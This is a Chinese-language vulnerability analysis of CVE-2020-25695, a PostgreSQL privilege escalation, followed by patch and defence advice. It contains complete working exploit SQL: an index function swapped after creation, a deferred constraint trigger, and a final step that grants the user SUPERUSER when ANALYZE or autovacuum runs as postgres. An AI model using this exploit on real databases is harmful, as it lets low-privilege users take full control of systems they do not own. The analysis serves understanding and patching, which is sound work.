CVE-2020-25695 Postgresql中的权限提升
字数 1336 2025-08-19 12:42:04
PostgreSQL权限提升漏洞分析(CVE-2020-25695)
漏洞概述
CVE-2020-25695是PostgreSQL数据库中的一个权限提升漏洞,影响从9.5开始的所有受支持的PostgreSQL版本。该漏洞允许低权限用户通过精心构造的SQL语句,在特定条件下提升为超级用户权限。
漏洞原理
核心问题
该漏洞属于TOCTOU(检查时间到使用时间)类问题,具体表现为PostgreSQL在执行安全受限操作(如ANALYZE、VACUUM等)时,在退出安全受限操作前未完全清除/重置状态。
技术细节
-
安全受限操作上下文切换:
- PostgreSQL在执行ANALYZE或VACUUM操作时,会切换到表所有者的用户ID
- 同时会设置SECURITY_RESTRICTED_OPERATION标志
- 但在提交事务(CommitTransactionCommand)之前就恢复了用户上下文
-
延迟触发器利用:
- 使用
INITIALLY DEFERRED约束触发器,使触发器在事务结束时才执行 - 此时安全上下文已恢复为调用用户,但仍在事务提交前
- 使用
-
函数替换技巧:
- 先创建IMMUTABLE函数用于创建索引
- 然后使用CREATE OR REPLACE FUNCTION替换为实际执行的恶意函数
- 绕过索引对IMMUTABLE函数的检查
漏洞复现步骤
环境准备
- 受影响版本:PostgreSQL 9.5及以上
- 测试用户:普通用户foo,超级用户postgres
详细复现过程
- 创建基础表结构:
-- 创建用于存储结果的表
CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
- 创建初始函数和索引:
-- 创建初始IMMUTABLE函数
CREATE FUNCTION sfunc(integer)
RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1';
-- 创建测试表
CREATE TABLE blah (a int, b int);
INSERT INTO blah VALUES (1,1);
-- 创建使用该函数的索引
CREATE INDEX indy ON blah (sfunc(a));
- 替换为恶意函数:
-- 替换为实际执行的函数
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';
- 创建约束触发器:
-- 创建最终执行特权操作的函数
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user); SELECT $1';
-- 创建触发器函数
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM tmp.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql;
-- 创建延迟约束触发器
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE strig();
- 触发漏洞:
-- 手动触发(需要特权用户执行)
ANALYZE;
-- 或设置自动触发
ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);
-- 然后通过插入/删除数据触发autovacuum
- 验证结果:
SELECT * FROM t1; -- 应显示特权用户(postgres)执行了操作
完整利用示例
-- 特权提升完整利用
CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
ALTER USER foo SUPERUSER;
SELECT $1';
-- 更新触发器函数检查上下文
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$
BEGIN
IF current_user = 'postgres' THEN
PERFORM tmp.public.snfunc2(1000); RETURN NEW;
ELSE
PERFORM tmp.public.snfunc(1000); RETURN NEW;
END IF;
END $e$
LANGUAGE plpgsql;
漏洞修复
PostgreSQL官方已发布补丁修复此漏洞。修复方案包括:
-
补丁更新:
- 所有受支持的PostgreSQL版本都已发布修复补丁
- 用户应从https://www.postgresql.org/获取最新版本
-
临时缓解措施:
- 禁用autovacuum
- 避免手动执行ANALYZE、CLUSTER、REINDEX、CREATE INDEX、VACUUM FULL、REFRESH MATERIALIZED VIEW等操作
- 注意:此缓解措施可能导致性能下降
漏洞影响
-
影响范围:
- PostgreSQL 9.5及以上所有版本
- 默认配置下存在风险
-
利用条件:
- 攻击者需要具有创建表、函数、触发器等的基本权限
- 需要特权用户执行ANALYZE/VACUUM或等待autovacuum自动执行
-
危害:
- 普通用户可提升为超级用户
- 完全控制数据库系统
防御建议
-
及时更新:
- 尽快升级到已修复的PostgreSQL版本
-
权限控制:
- 严格控制用户创建函数、触发器的权限
- 限制用户创建索引的权限
-
监控措施:
- 监控异常的函数创建和替换操作
- 审计ANALYZE/VACUUM操作的执行情况
-
安全配置:
- 考虑禁用不必要的功能
- 定期审查数据库中的函数和触发器
技术总结
该漏洞巧妙利用了PostgreSQL在安全上下文切换和事务处理时序上的缺陷,通过延迟触发器和函数替换的组合技术,实现了权限提升。漏洞利用链完整展示了数据库安全机制中的薄弱环节,对理解数据库安全设计具有重要参考价值。